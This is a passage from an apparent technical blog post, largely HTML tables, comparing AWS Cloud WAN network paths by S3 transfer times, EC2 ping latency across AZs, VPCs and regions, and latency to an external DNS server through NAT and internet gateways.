  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">2.86<o:p></o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:7">
  <td width="186" rowspan="2" valign="top" style="width:139.25pt;border-top:none;
  border-left:solid windowtext 2.25pt;border-bottom:solid windowtext 2.25pt;
  border-right:solid windowtext 1.0pt;mso-border-top-alt:solid windowtext 2.25pt;
  mso-border-alt:solid windowtext 2.25pt;mso-border-right-alt:solid windowtext .5pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">NAT Gateway
  through Egress in another region<o:p></o:p></p>
  </td>
  <td width="114" valign="top" style="width:85.3pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext 2.25pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-top-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">List<o:p></o:p></p>
  </td>
  <td width="149" valign="top" style="width:111.85pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext 2.25pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-top-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">38.15<o:p></o:p></p>
  </td>
  <td width="151" valign="top" style="width:113.1pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 2.25pt;
  mso-border-top-alt:solid windowtext 2.25pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-top-alt:2.25pt;mso-border-left-alt:.5pt;mso-border-bottom-alt:
  .5pt;mso-border-right-alt:2.25pt;mso-border-color-alt:windowtext;mso-border-style-alt:
  solid;background:#BFBFBF;mso-background-themecolor:background1;mso-background-themeshade:
  191;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal"><o:p>&#xA0;</o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:8;mso-yfti-lastrow:yes">
  <td width="114" valign="top" style="width:85.3pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 2.25pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-bottom-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Download<o:p></o:p></p>
  </td>
  <td width="149" valign="top" style="width:111.85pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 2.25pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-bottom-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">1564.06<o:p></o:p></p>
  </td>
  <td width="151" valign="top" style="width:113.1pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 2.25pt;border-right:solid windowtext 2.25pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">0.11<o:p></o:p></p>
  </td>
 </tr>
</tbody></table><!--kg-card-end: html--><p>In this case, the time it took to list the objects through all four pathways was approximately the same. Why was the cross-region listing marginally faster? Your guess is as good as mine. Perhaps the slightly more pertinent result here is that we see a similar pattern in the speeds of the four pathways for downloading as the first test, with a slight exaggeration of the results due to the nature of this particular test. This indicates that Gateway endpoints within the same VPC have the absolute lowest latency in response time for new requests, closely followed by Interface VPC endpoints through the Cloud WAN network, and the IGW in public subnets. Unsurprisingly, the cross-region download was the slowest, but unlike the first test the jump here is pretty significant, indicating that the delay from sending a large number of small requests is more affected by the cross-region solution compared to the small number of large requests.</p><hr><!--kg-card-begin: markdown--><h3 id="test-3-%E2%80%93-ping-latency-tests-between-ec2-instances-a-nametest-3ping-latency-tests-between-ec2-instancesa">Test 3 &#x2013; Ping Latency Tests Between EC2 Instances <a name="test-3--ping-latency-tests-between-ec2-instances"></a></h3>
<!--kg-card-end: markdown--><p>The purpose of the third test was to evaluate system-to-system communication between EC2 instances using various pathways. &#xA0;Something to consider here is that all instances are using the standard networking interfaces available on EC2 instances, so even the best of the latency testing we see here could be improved by employing some of the services and features available in AWS expressly designed for things like High-Performance Computing (HPC) clusters.</p><p>The first pathway tested was a best-case-scenario for average components which was two EC2 instances deployed not only in the same VPC but also the same AZ. This traffic obviously does not traverse the Cloud WAN network but helps establish a baseline for further tests.</p><p>The second pathway is similarly the same VPC and region but different AZ&#x2019;s. The third and fourth tests are different VPCs, same region, and testing both same and different AZ&#x2019;s. This is the first set of pathways that traverses the Cloud WAN network but does not leave the region. Finally, the last two tests are cross-region tests from us-east-1 to us-east-2, then us-east-1 to us-west-2.</p><!--kg-card-begin: html--><table class="MsoTableGrid" border="1" cellspacing="0" cellpadding="0" style="border-collapse:collapse;border:none;mso-border-alt:solid windowtext .5pt;
 mso-yfti-tbllook:1184;mso-padding-alt:0in 5.4pt 0in 5.4pt">
 <tbody><tr style="mso-yfti-irow:0;mso-yfti-firstrow:yes">
  <td width="143" valign="top" style="width:107.25pt;border:solid windowtext 1.0pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Network Path<o:p></o:p></p>
  </td>
  <td width="96" valign="top" style="width:72.05pt;border:solid windowtext 1.0pt;
  border-left:none;mso-border-left-alt:solid windowtext .5pt;mso-border-alt:
  solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Average
  Latency (ms)<o:p></o:p></p>
  </td>
  <td width="96" valign="top" style="width:72.05pt;border:solid windowtext 1.0pt;
  border-left:none;mso-border-left-alt:solid windowtext .5pt;mso-border-alt:
  solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Min Latency
  (ms)<o:p></o:p></p>
  </td>
  <td width="96" valign="top" style="width:72.05pt;border:solid windowtext 1.0pt;
  border-left:none;mso-border-left-alt:solid windowtext .5pt;mso-border-alt:
  solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Max Latency
  (ms)<o:p></o:p></p>
  </td>
  <td width="96" valign="top" style="width:72.05pt;border:solid windowtext 1.0pt;
  border-left:none;mso-border-left-alt:solid windowtext .5pt;mso-border-alt:
  solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Packet Loss
  (%)<o:p></o:p></p>
  </td>
  <td width="96" valign="top" style="width:72.05pt;border:solid windowtext 1.0pt;
  border-left:none;mso-border-left-alt:solid windowtext .5pt;mso-border-alt:
  solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Jitter (ms)<o:p></o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:1">
  <td width="143" valign="top" style="width:107.25pt;border:solid windowtext 1.0pt;
  border-top:none;mso-border-top-alt:solid windowtext .5pt;mso-border-alt:solid windowtext .5pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Same VPC,
  same AZ (east-1a to east-1a)<o:p></o:p></p>
  </td>
  <td width="96" valign="top" style="width:72.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">1.02<o:p></o:p></p>
  </td>
  <td width="96" valign="top" style="width:72.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">0.52<o:p></o:p></p>
  </td>
  <td width="96" valign="top" style="width:72.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">3.06<o:p></o:p></p>
  </td>
  <td width="96" valign="top" style="width:72.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">0%<o:p></o:p></p>
  </td>
  <td width="96" valign="top" style="width:72.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">0.58<o:p></o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:2">
  <td width="143" valign="top" style="width:107.25pt;border:solid windowtext 1.0pt;
  border-top:none;mso-border-top-alt:solid windowtext .5pt;mso-border-alt:solid windowtext .5pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Same VPC,
  cross-AZ (east-1a to east-1b)<o:p></o:p></p>
  </td>
  <td width="96" valign="top" style="width:72.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">1.50<o:p></o:p></p>
  </td>
  <td width="96" valign="top" style="width:72.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">0.92<o:p></o:p></p>
  </td>
  <td width="96" valign="top" style="width:72.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">2.71<o:p></o:p></p>
  </td>
  <td width="96" valign="top" style="width:72.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">0%<o:p></o:p></p>
  </td>
  <td width="96" valign="top" style="width:72.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">0.43<o:p></o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:3">
  <td width="143" valign="top" style="width:107.25pt;border:solid windowtext 1.0pt;
  border-top:none;mso-border-top-alt:solid windowtext .5pt;mso-border-alt:solid windowtext .5pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Cross VPC,
  same AZ (prod east-1a to ss east-1a)<strong><o:p></o:p></strong></p>
  </td>
  <td width="96" valign="top" style="width:72.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">1.04<o:p></o:p></p>
  </td>
  <td width="96" valign="top" style="width:72.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">0.55<o:p></o:p></p>
  </td>
  <td width="96" valign="top" style="width:72.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">3.80<o:p></o:p></p>
  </td>
  <td width="96" valign="top" style="width:72.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">0%<o:p></o:p></p>
  </td>
  <td width="96" valign="top" style="width:72.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">0.78<o:p></o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:4">
  <td width="143" valign="top" style="width:107.25pt;border:solid windowtext 1.0pt;
  border-top:none;mso-border-top-alt:solid windowtext .5pt;mso-border-alt:solid windowtext .5pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Cross VPC,
  cross AZ (prod east-1b to ss east-1a)<o:p></o:p></p>
  </td>
  <td width="96" valign="top" style="width:72.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">1.44<o:p></o:p></p>
  </td>
  <td width="96" valign="top" style="width:72.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">1.03<o:p></o:p></p>
  </td>
  <td width="96" valign="top" style="width:72.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">2.42<o:p></o:p></p>
  </td>
  <td width="96" valign="top" style="width:72.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">0%<o:p></o:p></p>
  </td>
  <td width="96" valign="top" style="width:72.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">0.41<o:p></o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:5">
  <td width="143" valign="top" style="width:107.25pt;border:solid windowtext 1.0pt;
  border-top:none;mso-border-top-alt:solid windowtext .5pt;mso-border-alt:solid windowtext .5pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Cross region
  us-east-1 to us-east-2<o:p></o:p></p>
  </td>
  <td width="96" valign="top" style="width:72.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">15.65<o:p></o:p></p>
  </td>
  <td width="96" valign="top" style="width:72.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">15.02<o:p></o:p></p>
  </td>
  <td width="96" valign="top" style="width:72.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">16.66<o:p></o:p></p>
  </td>
  <td width="96" valign="top" style="width:72.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">0%<o:p></o:p></p>
  </td>
  <td width="96" valign="top" style="width:72.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">0.37<o:p></o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:6;mso-yfti-lastrow:yes">
  <td width="143" valign="top" style="width:107.25pt;border:solid windowtext 1.0pt;
  border-top:none;mso-border-top-alt:solid windowtext .5pt;mso-border-alt:solid windowtext .5pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Cross region
  us-east-1 to us-west-2<o:p></o:p></p>
  </td>
  <td width="96" valign="top" style="width:72.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">65.54<o:p></o:p></p>
  </td>
  <td width="96" valign="top" style="width:72.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">65.00<o:p></o:p></p>
  </td>
  <td width="96" valign="top" style="width:72.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">66.30<o:p></o:p></p>
  </td>
  <td width="96" valign="top" style="width:72.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">0%<o:p></o:p></p>
  </td>
  <td width="96" valign="top" style="width:72.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">0.39<o:p></o:p></p>
  </td>
 </tr>
</tbody></table><!--kg-card-end: html--><p>The results of these tests indicate that when systems are within the same AZ, regardless of whether they are in the same VPC or not, they have similar latency (1.02 and 1.04 ms respectively). Similarly, for instances within the same region but across AZs there is nearly the same latency whether they are in the same VPC or traversing the Cloud WAN network into another VPC (1.50 and 1.44 ms). Most likely this means that underneath the hood AWS is employing the same managed infrastructure to support the connectivity between systems both within and without a VPC. The connectivity created through Cloud WAN is an easier way to create a logical design to the connectivity but is supported by the same underlying components. Finally, the cross-region testing shows an increased latency - 15.65 ms for east to east, and 65.54 ms for east to west, which is expected. These findings show that ideally organizations should have at least one set of shared services and egress components deployed per <em>set</em> of regions, i.e. (us-east-#). The worst-case scenario involves not only traversing to another region to access systems but also reaching a region separated by a substantial real-world geographical distance. Fortunately, despite varying amounts of latency, all connectivity options have extremely low rates of packet loss* and relatively low jitter (aka variability in test results).</p><p>* The results of this test showed no packet loss, but that does not mean that there is a guarantee of 0% packet loss on these network pathways, only that the odds are very low of any loss.</p><hr><!--kg-card-begin: markdown--><h3 id="test-4-%E2%80%93-ping-latency-to-external-services-a-nametest-4ping-latency-to-external-servicesa">Test 4 &#x2013; Ping Latency to External Services <a name="test-4--ping-latency-to-external-services"></a></h3>
<!--kg-card-end: markdown--><p>The purpose of this final test was to evaluate latency to publicly available services outside of AWS. For this test, one of the Google DNS servers (8.8.8.8) was used as a consistent external source in order to better isolate the internal AWS components in the results. Three pathways were considered, the first was a NAT gateway within the same region, and the second was a NAT gateway in another region (us-east-2 to us-east-1). Both tests utilized the Cloud WAN Egress segment. The final test used an IGW deployed within the same VPC.</p><!--kg-card-begin: html--><table class="MsoTableGrid" border="1" cellspacing="0" cellpadding="0" style="border-collapse:collapse;border:none;mso-border-alt:solid windowtext .5pt;
 mso-yfti-tbllook:1184;mso-padding-alt:0in 5.4pt 0in 5.4pt">
 <tbody><tr style="mso-yfti-irow:0;mso-yfti-firstrow:yes">
  <td width="104" valign="top" style="width:77.9pt;border:solid windowtext 1.0pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Network Path<o:p></o:p></p>
  </td>
  <td width="104" valign="top" style="width:77.9pt;border:solid windowtext 1.0pt;
  border-left:none;mso-border-left-alt:solid windowtext .5pt;mso-border-alt:
  solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Average
  Latency (ms)<o:p></o:p></p>
  </td>
  <td width="104" valign="top" style="width:77.9pt;border:solid windowtext 1.0pt;
  border-left:none;mso-border-left-alt:solid windowtext .5pt;mso-border-alt:
  solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Min Latency
  (ms)<o:p></o:p></p>
  </td>
  <td width="104" valign="top" style="width:77.9pt;border:solid windowtext 1.0pt;
  border-left:none;mso-border-left-alt:solid windowtext .5pt;mso-border-alt:
  solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Max Latency
  (ms)<o:p></o:p></p>
  </td>
  <td width="104" valign="top" style="width:77.95pt;border:solid windowtext 1.0pt;
  border-left:none;mso-border-left-alt:solid windowtext .5pt;mso-border-alt:
  solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Packet Loss
  (%) <o:p></o:p></p>
  </td>
  <td width="104" valign="top" style="width:77.95pt;border:solid windowtext 1.0pt;
  border-left:none;mso-border-left-alt:solid windowtext .5pt;mso-border-alt:
  solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Jitter (ms)<o:p></o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:1">
  <td width="104" valign="top" style="width:77.9pt;border:solid windowtext 1.0pt;
  border-top:none;mso-border-top-alt:solid windowtext .5pt;mso-border-alt:solid windowtext .5pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">NAT Gateway
  (same region)<o:p></o:p></p>
  </td>
  <td width="104" valign="top" style="width:77.9pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">2.33<o:p></o:p></p>
  </td>
  <td width="104" valign="top" style="width:77.9pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">1.98<o:p></o:p></p>
  </td>
  <td width="104" valign="top" style="width:77.9pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">2.77<o:p></o:p></p>
  </td>
  <td width="104" valign="top" style="width:77.95pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">0%<o:p></o:p></p>
  </td>
  <td width="104" valign="top" style="width:77.95pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">0.23<o:p></o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:2">
  <td width="104" valign="top" style="width:77.9pt;border:solid windowtext 1.0pt;
  border-top:none;mso-border-top-alt:solid windowtext .5pt;mso-border-alt:solid windowtext .5pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">NAT Gateway
  (cross region)<o:p></o:p></p>
  </td>
  <td width="104" valign="top" style="width:77.9pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">70.64<o:p></o:p></p>
  </td>
  <td width="104" valign="top" style="width:77.9pt;border-top:none;border-left:
